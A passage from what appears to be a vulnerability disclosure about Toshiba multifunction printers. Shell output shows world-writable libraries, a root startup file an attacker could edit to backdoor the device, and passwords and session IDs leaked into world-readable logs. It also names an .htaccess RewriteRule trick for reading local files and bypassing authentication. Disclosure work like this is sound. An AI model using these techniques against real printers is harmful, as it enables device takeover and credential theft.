-rwxrwxrwx 1 root root 624082 Dec 6 04:53 /home/SYSROM_SRC/NoBuildItems/common/lib/libCryptolib.so.0
-rwxrwxrwx 1 root root 624082 Apr 20 2018 /home/SYSROM_SRC/NoBuildItems/common/lib/libCryptolib.so.0.0.0
-rwxrwxrwx 1 root root 60708 Dec 6 01:34 /home/SYSROM_SRC/build/thirdparty/lib/liblber-2.4.so.2.5.6
-rwxrwxrwx 1 root root 324233 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libhx509.so.5.0.0
-rwxrwxrwx 1 root root 525228 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libheimsqlite.so.0.0.0
-rwxrwxrwx 1 root root 225346 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libhcrypto.so.4.1.0
-rwxrwxrwx 1 root root 759349 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libasn1.so.8.0.0
-rwxrwxrwx 1 root root 166289 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libwind.so.0.0.0
-rwxrwxrwx 1 root root 14571 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libcom_err.so.1.1.3
-rwxrwxrwx 1 root root 92942 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libroken.so.18.1.0
-rwxrwxrwx 1 root root 24134 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libheimntlm.so.0.1.0
An attacker can remotely compromise any Toshiba printer.
The libraries (more than hundreds) used by these programs can be replaced by malicious libraries by any local or remote attacker.
## Details - Local Privilege Escalation and Remote Code Execution using CISSM
It was observed that the `cissm` program runs as root inside the printers. This Toshiba-specific program will start children processes as shown below, based on the content of the `/home/SYSROM_SRC/build/common/bin/ssm.xml` XML file stored in the printer:
bash-4.1# ps auxw | grep cissm
root 1487 0.0 0.3 53496 10184 ? Sl 16:34 0:02 ./cissm -T 7 -d ssm.xml
bash-4.1# pstree
[...]
|-cissm-+-alAddressBookMg
| |-alCloning
| |-alExportImport
| |-alLogRetriever
| |-alLogmanager---{alLogmanager}
| |-alPanelStartLED---{alPanelStartLE}
| |-alPanelUIMessag---{alPanelUIMessa}
| |-alServiceUIPlug
| |-alUiFrameWork---24*[{alUiFrameWork}]
| |-alViewPlugin---3*[{alViewPlugin}]
| |-alaccountmgr---2*[{alaccountmgr}]
| |-alappmanager-+-2*[python---5*[{python}]]
| | `-15*[{alappmanager}]
| |-alboserver---7*[{alboserver}]
| |-alcbamanager---26*[{alcbamanager}]
| |-aldevauthmgmtpl
| |-aldeviceconfigp
| |-aldeviceservice---{aldeviceservic}
| |-aleFilingmgr
| |-alfilestoragem
| |-algrpmgr
| |-alhddalertmgr
| |-alhddbackuprest
| |-alhomedatamgr
| |-alifaxreceive
| |-alintegritychkm
| |-aljobcontroller---8*[{aljobcontrolle}]
[...]
The XML configuration file used by cissm is located at `/home/SYSROM_SRC/build/thirdparty/bin/ssm.xml` and has insecure permissions:
bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin/ssm.xml /home/SYSROM_SRC/build/thirdparty/bin/ssm.xml /home/SYSROM_SRC/build/common/bin/ssm.xml
-rwxrwxrwx 1 root root 55245 Oct 7 2021 /home/SYSROM_SRC/build/common/bin/ssm.xml
lrwxrwxrwx 1 root root 28 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/ssm.xml -> ../../thirdparty/bin/ssm.xml
lrwxrwxrwx 1 root root 24 Mar 14 16:27 /home/SYSROM_SRC/build/thirdparty/bin/ssm.xml -> ../../common/bin/ssm.xmlroot
This file is used to run program as root when the printer starts and can be used to redefine any program running as root when the printer boots. This program also runs every 3 minute.
An attacker can remotely write an additional entry to start a malicious command that will be executed as root when the printer boots:
Content of `/home/SYSROM_SRC/build/common/bin/ssm.xml`:
<?xml version="1.0" encoding="UTF-8"?>
<SSM xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="../../../LayerInterface/CI/ServiceStartupManager/SSM.xsd">
<!-- Start: CI Layer services -->
<Service>
<name>cischeduler</name>
<group/>
<exePath>./cischeduler</exePath>
<startupType>Automatic</startupType>
<enabled>1</enabled>
<ProcessGroup>TRUSTED</ProcessGroup>
<StartParameters>
<Param>-S</Param>
<Param>ramdisk</Param>
<Param>></Param>
<Param>/work/log/ci/cischeduler.log</Param>
</StartParameters>
</Service>
<Service>
<name>cipollproc</name>
<group/>
<exePath>./cipollproc</exePath>
<startupType>Automatic</startupType>
<enabled>1</enabled>
<ProcessGroup>TRUSTED</ProcessGroup>
<StartParameters>
<Param>></Param>
<Param>/work/log/ci/cipollproc.log</Param>
</StartParameters>
<StartupCondition>
<Condition>
<Service name="cischeduler" state="Ready"></Service>
</Condition>
</StartupCondition>
</Service>
[...]
Analysis of `pspy32` running on the printer:
2023/05/27 20:32:43 CMD: UID=0 PID=4228 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:32:43 CMD: UID=0 PID=4229 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:32:46 CMD: UID=0 PID=4230 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:32:46 CMD: UID=0 PID=4231 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:32:50 CMD: UID=0 PID=4232 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:32:50 CMD: UID=0 PID=4233 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:32:53 CMD: UID=0 PID=4234 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:32:53 CMD: UID=0 PID=4235 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:32:56 CMD: UID=0 PID=4236 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:32:56 CMD: UID=0 PID=4237 | ./cissm -T 7 -d ssm.xml
2023/05/27 20:32:56 CMD: UID=0 PID=4238 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
[...]
2023/05/27 20:35:26 CMD: UID=0 PID=4393 | ./cissm -T 7 -d ssm.xml
[...]
2023/05/27 20:37:56 CMD: UID=0 PID=4532 | ./cissm -T 7 -d ssm.xml
[...]
2023/05/27 20:39:56 CMD: UID=0 PID=4676 | ./cissm -T 7 -d ssm.xml
[...]
2023/05/27 20:42:19 CMD: UID=0 PID=4831 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:42:19 CMD: UID=0 PID=4832 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:42:22 CMD: UID=0 PID=4833 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:42:22 CMD: UID=0 PID=4834 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:42:25 CMD: UID=0 PID=4835 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:42:25 CMD: UID=0 PID=4836 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:42:26 CMD: UID=0 PID=4837 | ./cissm -T 7 -d ssm.xml
2023/05/27 20:42:27 CMD: UID=0 PID=4839 | sh -c ps -eo stat,comm | grep -e "^Z.*agent" -e "^Z.*ebx_dl" -e "^Z.*de_ipfax"
2023/05/27 20:42:27 CMD: UID=0 PID=4838 | sh -c ps -eo stat,comm | grep -e "^Z.*agent" -e "^Z.*ebx_dl" -e "^Z.*de_ipfax"
2023/05/27 20:42:29 CMD: UID=0 PID=4840 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:42:29 CMD: UID=0 PID=4841 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:42:32 CMD: UID=0 PID=4842 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 20:42:32 CMD: UID=0 PID=4843 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
[...]
</pre>
An attacker can remotely compromise any Toshiba printer.
The `/home/SYSROM_SRC/build/common/bin/ssm.xml` configuration file can be replaced by any local or remote attacker to run any malicious program as root when the printer starts.
Attackers can backdoor the printer.
## Details - Passwords stored in clear-text logs and insecure logs
It was observed that passwords are stored in clear-text logs.
Some logs are stored inside the `/ramdisk/work/log/al` directory with insecure permissions, allowing any local attacker to read and modify these files:
bash-4.1# ls -laR /ramdisk/work/log/al/*
-rw-rw-rw- 1 root trusted 42678 May 23 16:10 /ramdisk/work/log/al/accounting.log.0.txt
-rw-rw-rw- 1 root trusted 2228 May 23 15:14 /ramdisk/work/log/al/address.log.0.txt
-rw-rw-rw- 1 root trusted 6877 May 23 15:16 /ramdisk/work/log/al/alPanelStartLEDHandler.log.0.txt
-rw-rw-rw- 1 root trusted 23536 May 23 16:10 /ramdisk/work/log/al/alPanelUIMessageHandler.log.0.txt
-rw-rw-rw- 1 root trusted 79 May 23 15:14 /ramdisk/work/log/al/albluetooth.log.0.txt
-rw-rw-rw- 1 root trusted 449 May 23 15:14 /ramdisk/work/log/al/alcloning.log.0.txt
-rw-rw-rw- 1 root trusted 1594 May 23 15:14 /ramdisk/work/log/al/alcloudclient.log.0.txt
-rw-rw-rw- 1 root trusted 987 May 23 15:14 /ramdisk/work/log/al/aldevauthmgmtplugin.log.0.txt
-rw-rw-rw- 1 root trusted 307378 May 23 16:11 /ramdisk/work/log/al/aldeviceconfig.log.0.txt
-rw-rw-rw- 1 root trusted 29171 May 23 15:16 /ramdisk/work/log/al/aldeviceservice.log.0.txt
-rw-rw-rw- 1 root trusted 128 May 23 15:15 /ramdisk/work/log/al/aleSCL.log.0.txt
-rw-rw-rw- 1 root trusted 474 May 23 15:14 /ramdisk/work/log/al/alexportimport.log.0.txt
-rw-rw-rw- 1 root trusted 1437 May 23 15:14 /ramdisk/work/log/al/alfilestoragem.log.0.txt
-rw-rw-rw- 1 root trusted 13465 May 23 16:11 /ramdisk/work/log/al/allicensemgmt.log.0.txt
-rw-rw-rw- 1 root trusted 5380 May 23 15:14 /ramdisk/work/log/al/almaintenanceplugin.log.0.txt
-rw-rw-rw- 1 root trusted 111 May 23 15:14 /ramdisk/work/log/al/alnfcplugin.log.0.txt
-rw-rw-rw- 1 root trusted 4432 May 23 16:05 /ramdisk/work/log/al/alulm.log.0.txt
-rw-rw-rw- 1 root trusted 682 May 23 15:14 /ramdisk/work/log/al/alvnclauncher.log.0.txt
-rw-rw-rw- 1 root trusted 67235 May 23 16:08 /ramdisk/work/log/al/appmanager.log.0.txt
-rw-rw-rw- 1 root trusted 31306 May 23 16:11 /ramdisk/work/log/al/authplugin.log.0.txt
-rw-rw-rw- 1 root trusted 590 May 23 15:15 /ramdisk/work/log/al/bonjour.log.0.txt
-rw-rw-rw- 1 root trusted 147834 May 23 16:15 /ramdisk/work/log/al/boserver.log.0.txt
-rwxrwxrwx 1 root trusted 250542 May 23 16:14 /ramdisk/work/log/al/boserverEvent.log.28.txt
-rw-rw-rw- 1 root trusted 1110 May 23 15:14 /ramdisk/work/log/al/cbamanager.log.0.txt
-rw-rw-rw- 1 root trusted 98 May 23 15:14 /ramdisk/work/log/al/eBRlog.log.0.txt
-rw-rw-rw- 1 root trusted 3311 May 23 15:15 /ramdisk/work/log/al/efile.log.0.txt
-rwxrwxrwx 1 root trusted 567 May 23 16:10 /ramdisk/work/log/al/grpmgrplugin.log.0.txt
-rw-rw-rw- 1 root trusted 2277 May 23 16:10 /ramdisk/work/log/al/hdm.log.0.txt
-rw-rw-rw- 1 root trusted 206 May 23 15:15 /ramdisk/work/log/al/ifaxrx.log.0.txt
-rw-rw-rw- 1 root trusted 1037 May 23 15:14 /ramdisk/work/log/al/jobcontroller.log.0.txt
-rw-rw-rw- 1 root trusted 4714 May 23 15:41 /ramdisk/work/log/al/jtm.log.0.txt
-rw-rw-rw- 1 root trusted 610 May 23 15:15 /ramdisk/work/log/al/logmanagerplugin.log.0.txt
-rw-rw-rw- 1 root trusted 286932 May 23 15:23 /ramdisk/work/log/al/logretriever.log.0.txt
-rw-rw-rw- 1 root trusted 214 May 23 15:15 /ramdisk/work/log/al/network-ipv6.log.0.txt
-rw-rw-rw- 1 root trusted 22498 May 23 15:16 /ramdisk/work/log/al/nsm.log.0.txt
-rw-rw-rw- 1 root trusted 169537 May 23 16:01 /ramdisk/work/log/al/panel.log.0.txt
-rw-rw-rw- 1 root trusted 3403 May 23 15:15 /ramdisk/work/log/al/printmanager.log.0.txt
-rw-rw-rw- 1 root trusted 26623 May 23 16:10 /ramdisk/work/log/al/prm.log.0.txt
-rw-rw-rw- 1 root trusted 1264 May 23 15:15 /ramdisk/work/log/al/remoteApplication.log.0.txt
-rw-rw-rw- 1 root trusted 565116 May 23 16:11 /ramdisk/work/log/al/renderer.log.2.txt
-rw-rw-rw- 1 root trusted 2434 May 23 15:14 /ramdisk/work/log/al/reportmanager.log.0.txt
-rw-rw-rw- 1 root trusted 426 May 23 15:14 /ramdisk/work/log/al/reportmsgr.log.0.txt
-rw-rw-rw- 1 root trusted 20834 May 23 16:11 /ramdisk/work/log/al/restrictionmode.log.0.txt
-rw-rw-rw- 1 root trusted 732 May 23 16:10 /ramdisk/work/log/al/rolemanagerplugin.log.0.txt
-rw-rw-rw- 1 root trusted 12464 May 23 16:11 /ramdisk/work/log/al/securitysettingsplugin.log.0.txt
-rw-rw-rw- 1 root trusted 19963 May 23 15:15 /ramdisk/work/log/al/sharedprint.log.0.txt
-rw-rw-rw- 1 root trusted 159 May 23 15:15 /ramdisk/work/log/al/slp.log.0.txt
-rw-rw-rw- 1 root trusted 798 May 23 15:15 /ramdisk/work/log/al/snmpd.log.0.txt
-rw-rw-rw- 1 root trusted 12287 May 23 15:15 /ramdisk/work/log/al/stage2.log.0.txt
-rw-rw-rw- 1 root trusted 5955 May 23 15:15 /ramdisk/work/log/al/swupdate.log.0.txt
-rw-rw-rw- 1 root trusted 2306 May 23 15:14 /ramdisk/work/log/al/usb.log.0.txt
-rw-rw-rw- 1 root trusted 1113 May 23 15:15 /ramdisk/work/log/al/usbprn.log.0.txt
-rw-rw-rw- 1 root trusted 14238 May 23 16:10 /ramdisk/work/log/al/usermanagerplugin.log.0.txt
-rw-rw-rw- 1 root trusted 2553 May 23 15:14 /ramdisk/work/log/al/viewplugin.log.0.txt
/ramdisk/work/log/al/epfx:
total 28
drwxrwxrwx 4 root trusted 0 May 23 15:14 .
drwxrwxrwx 5 root trusted 0 May 23 16:10 ..
-rwxrwxrwx 1 root trusted 28010 May 23 16:08 eprocessframework.log.0.txt
drwxrwxrwx 2 apache trusted 0 May 23 15:14 httpd_worker_1711
drwxrwxrwx 2 apache trusted 0 May 23 15:14 httpd_worker_1712
/ramdisk/work/log/al/wsp:
total 4
drwxrwxrwx 2 root trusted 0 May 23 15:15 .
drwxrwxrwx 5 root trusted 0 May 23 16:10 ..
-rw-rw-rw- 1 root trusted 3600 May 23 16:14 alwsprint.log.0.txt
/ramdisk/work/log/al/wsscn:
total 4
drwxrwxrwx 2 root trusted 0 May 23 15:15 .
drwxrwxrwx 5 root trusted 0 May 23 16:10 ..
-rw-rw-rw- 1 root trusted 1083 May 23 15:15 alwswsc.log.0.txt
bash-4.1#
### Clear-text password written in logs when an user logs into the printer
When a user logs into the TopAccess web interface, the password will be written in logs that are world-readable as shown below.
Login as admin with the password `PASSWORD-SECRET-PIERRE`, we can see the password saved into 2 log files that are world-readable:
- - `/ramdisk/work/log/al/boserverEvent.log.*.txt`
- - `/ramdisk/al/network/log/http.log`
Leak of credentials inside the log files:
bash-4.1# grep -ri PIER .
./work/log/al/boserverEvent.log.28.txt:<Evt><t>05/27 16:18:39443877</t><Set><sID>ContentWebServer_10.0.0.2.fda0f003cf95b852233893df36d9b1ff</sID><pID>8556</pID><pName>httpd</pName><SetValue><Payload XMLPayLoad = "true" overrideDelta = "true"><path></path><value><Authentication><UserCredential><userName>admin</userName><passwd>PASSWORD-SECRET-PIERRE</passwd><ipaddress>10.0.0.2</ipaddress><DepartmentManagement isEnable="false"><requireDepartment/></DepartmentManagement><domainName/><applicationType>TOP_ACCESS</applicationType></UserCredential></Authentication></value></Payload></SetValue></Set></Evt>
./al/network/log/http.log:[Fri May 27 16:18:39.519454 2023] [contentwebserver:debug] [pid 8556] ccontentwebserver.cpp(4175): [client 10.0.0.2:41700] PASSWORD-SECRET-PIERRE, referer: https://10.0.0.1:8080/TopAccessLogin.html?v=1670282309ta
These files have insecure permissions allowing any user to retrieve the passwords and to modify the logs.
The files can be also modified by a remote attacker using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
bash-4.1# ls -la /ramdisk/al/network/log/http.log
ls -la /ramdisk/al/network/log/http.log
-rw-rw-rw- 1 root trusted 663910 May 27 16:20 /ramdisk/al/network/log/http.log
bash-4.1# ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt
ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt
-rwxrwxrwx 1 root trusted 715841 May 27 16:20 /ramdisk/work/log/al/boserverEvent.log.28.txt
bash-4.1#
### Clear-text password written in logs when a password is modified
Using the TopAccess web interface, it is possible to update passwords of users.
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
Such password will be found in the log files (`NEW-PASSWORD-PIERRE`):
bash-4.1# grep -r NEW-PASSWORD-PIERRE .
./work/log/al/boserverEvent.log.28.txt:<Evt><t>05/27 16:22:22933938</t><Set><sID>ContentWebServer_10.0.0.2.63e5f73ea1d7ecf9cfd935393adb8b11</sID><pID>4974</pID><pName>httpd</pName><SetValue><Payload XMLPayLoad = "true" overrideDelta = "true"><path></path><value><UserManager><View><UpdateUser><User ID="10002"><Information><passwd>NEW-PASSWORD-PIERRE</passwd><UserSoftKeyboardDisplay>true</UserSoftKeyboardDisplay></Information></User></UpdateUser></View></UserManager></value></Payload></SetValue></Set></Evt>
bash-4.1#
And this log file also has insecure permissions, allowing any user to retrieve the passwords or to modify the log file.
The files can be also modified by a remote attacker using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
bash-4.1# ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt
ls -la /ramdisk/work/log/al/boserverEvent.log.28.txt
-rwxrwxrwx 1 root trusted 886685 May 27 16:23 /ramdisk/work/log/al/boserverEvent.log.28.txt
bash-4.1#
An attacker can retrieve passwords.
An attacker can modify the logs.
A remote attacker can retrieve the credentials and bypass the authentication mechanism by uploading a .htaccess file containing a RewriteRule (`RewriteRule /pwned.txt file:/path/to/local/file`), using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
## Details - Leak of authentication sessions in insecure logs in /ramdisk/work/log directory
It was observed that the session cookies, used for authentication, are stored in clear-text logs. These logs are world-readable and some can also be freely modified by any local attacker.
Some logs are stored inside the `/ramdisk/work/log` directory with insecure permissions. We can find the authentication sessions (e.g. `ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e`) inside.
Leak of sessions inside the log files:
bash-4.1# pwd
/work/log
bash-4.1# grep -r '10.0.0.2\.' *
[...]
./log/al/boserverEvent.log.26.txt:<Evt><t>05/30 15:50:21222835</t><Session "timerReset"><id>ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e</id><num>658</num><pID>2670</pID><pName>alappmanager</pName><newTimerValue>0</newTimerValue></Session></Evt>
./log/al/boserver.log.0.txt:05/30 15:50:05535294 Pid= 1657,Tid= 1784,cborepository.cpp: 5340:WRN:HANDLECMD_RES: Response of Command 'GetSettings' from Plugin to 'httpd' in SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/boserver.log.0.txt:05/30 15:50:05552743 Pid= 1657,Tid= 1783,cborepository.cpp: 4816:WRN:DELIVERCMD: Delegating Command 'LicenseEnableCheck' from 'httpd' to Plugin 'LicenseMgmt-0x9f' with SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/boserver.log.0.txt:05/30 15:50:05556758 Pid= 1657,Tid= 1785,cborepository.cpp: 5340:WRN:HANDLECMD_RES: Response of Command 'LicenseEnableCheck' from Plugin to 'httpd' in SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/boserver.log.0.txt:05/30 15:50:14741108 Pid= 1657,Tid= 1784,cborepository.cpp: 4816:WRN:DELIVERCMD: Delegating Command 'LicenseEnableCheck' from 'httpd' to Plugin 'LicenseMgmt-0x9f' with SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/boserver.log.0.txt:05/30 15:50:14745065 Pid= 1657,Tid= 1783,cborepository.cpp: 5340:WRN:HANDLECMD_RES: Response of Command 'LicenseEnableCheck' from Plugin to 'httpd' in SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/aldeviceconfig.log.0.txt: * SessionID : ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
./log/al/aldeviceconfig.log.0.txt: * DeltaDocName : hdb:/ramdisk/al/tmp/ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e/DiagnosticModeTransactionDoc_ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
[...]
./log/al/aldeviceconfig.log.0.txt: * DeltaDocName : hdb:/ramdisk/al/tmp/ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e/DiagnosticModeTransactionDoc_ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
./log/al/sapp/python_settingapp.log:03/16 20:57:34966 Pid= 5653 Tid= 1820326768 tweens.py 176 WARNING Add session map. key = ContentWebServer_10.0.0.2.fc4db19cc6c8eba31abca23ece735dd7 value = ContentWebServer_10.0.0.2.fc4db19cc6c8eba31abca23ece735dd7
./log/al/sapp/python_settingapp.log:03/16 21:08:35016 Pid= 5653 Tid= 1675623280 tweens.py 347 WARNING Delete session map. key = ContentWebServer_10.0.0.2.fc4db19cc6c8eba31abca23ece735dd7 value = ContentWebServer_10.0.0.2.fc4db19cc6c8eba31abca23ece735dd7, length1
./log/al/authplugin.log.0.txt:05/30 15:16:07935854 Pid= 1872,UserAuthManger.cpp:11476:ERR:delta Doc Name::hdb:/ramdisk/al/tmp/ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e/AuthenticationTransactionDoc_ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
[...]
./log/al/renderer.log.1.txt:05/30 20:21:13780508 Pid= 1992,Tid= 2939,LegacyPanel/src/cpanelmanager.cpp: 2983:WRN:Rcv ST : 72 : 1c000001 : <?xml version="1.0" encoding="UTF-8"?><Notification><Payload model="pull"><path>SecurityConfiguration/SecuritySettings/isLoginReqd</path><sessionID>ContentWebServer_10.0.0.2.ab52ced8304357f2b382460bbdd797dc</sessionID><subscriptionID>1275</subscriptionID></Payload></Notification>
[...]
/log/al/prm.log.0.txt:05/30 15:18:16563007 Pid= 1885,Tid= 2163,manager.cpp: 1874:ERR:Delta Document hdb:/ramdisk/al/tmp/ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e/PresentationResourcesTransactionDoc_ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e could not be opened. Creating it
We can list the files containing such authentication sessions:
- - log/al/aldeviceconfig.log.0.txt
- - log/al/appmanager.log.0.txt
- - log/al/appmanagerlibrary.log.0.txt
- - log/al/authplugin.log.0.txt
- - log/al/boserver.log.0.txt
- - log/al/boserverEvent.log.26.txt
- - log/al/epfx/eprocessframework.log.0.txt
- - log/al/prm.log.0.txt
- - log/al/renderer.log.0.txt
- - log/al/renderer.log.1.txt
- - log/al/renderer.log.2.txt
- - log/al/sapp/python_settingapp.log
- - log/al/webpanel/eapi.log.0.txt
Using the shell:
bash-4.1# grep -r '10.0.0.2\.' * | sed -e 's#:# #' | awk '{ print $1 }' | sort | uniq
log/al/aldeviceconfig.log.0.txt
log/al/appmanager.log.0.txt
log/al/appmanagerlibrary.log.0.txt
log/al/authplugin.log.0.txt
log/al/boserver.log.0.txt
log/al/boserverEvent.log.26.txt
log/al/epfx/eprocessframework.log.0.txt
log/al/prm.log.0.txt
log/al/renderer.log.0.txt
log/al/renderer.log.1.txt
log/al/renderer.log.2.txt
log/al/sapp/python_settingapp.log
log/al/webpanel/eapi.log.0.txt
log/al/webpanel/python_ta.log
These files have insecure permissions allowing any user to retrieve the passwords, and some files can be freely modified by any local attacker (or any remote attacker using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability):
Insecure permissions for log files:
bash-4.1# for i in $(grep -r '10.0.0.2\.' * | sed -e 's#:# #' | awk '{ print $1 }' | sort | uniq); do ls -la $i;done
-rw-r--r-- 1 apache trusted 177116 May 30 15:51 log/al/aldeviceconfig.log.0.txt
-rw-r--r-- 1 apache trusted 57508 May 30 15:51 log/al/appmanager.log.0.txt
-rwxrwxrwx 1 root trusted 285227 May 30 16:15 log/al/appmanagerlibrary.log.0.txt
-rw-r--r-- 1 apache trusted 8839 May 30 15:51 log/al/authplugin.log.0.txt
-rw-r--r-- 1 apache trusted 57082 May 30 15:51 log/al/boserver.log.0.txt
-rwxr-xr-x 1 apache trusted 850786 May 30 15:51 log/al/boserverEvent.log.26.txt
-rwxr-xr-x 1 apache trusted 18608 May 30 15:51 log/al/epfx/eprocessframework.log.0.txt
-rw-r--r-- 1 apache trusted 18151 May 30 15:51 log/al/prm.log.0.txt
-rwxrwxrwx 1 root trusted 1048682 May 30 19:28 log/al/renderer.log.0.txt
-rwxrwxrwx 1 root trusted 1048606 May 30 21:50 log/al/renderer.log.1.txt
-rw-r--r-- 1 apache trusted 527501 May 30 15:51 log/al/renderer.log.2.txt
-rwxrwxrwx 1 apache trusted 1958 May 30 21:08 log/al/sapp/python_settingapp.log
-rwxrwxrwx 1 root trusted 669880 May 30 16:15 log/al/webpanel/eapi.log.0.txt
-rwxrwxrwx 1 apache trusted 311373 May 30 15:53 log/al/webpanel/python_ta.log
An attacker can retrieve authentication sessions.
A remote attacker can retrieve the credentials and bypass the authentication mechanism by uploading a .htaccess file containing a RewriteRule (`RewriteRule /pwned.txt file:/path/to/local/file`), using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
## Details - Leak of authentication sessions in insecure logs in /ramdisk/al/network/log directory
It was observed that the sessions are stored in clear-text logs. These logs are world-readable and some can also be freely modified by any local attacker.
Some logs are stored inside the `/ramdisk/al/network/log` directory with insecure permissions. We can find the authentication sessions inside:
bash-4.1# pwd
/ramdisk/al/network/log
bash-4.1# ls -la
total 184
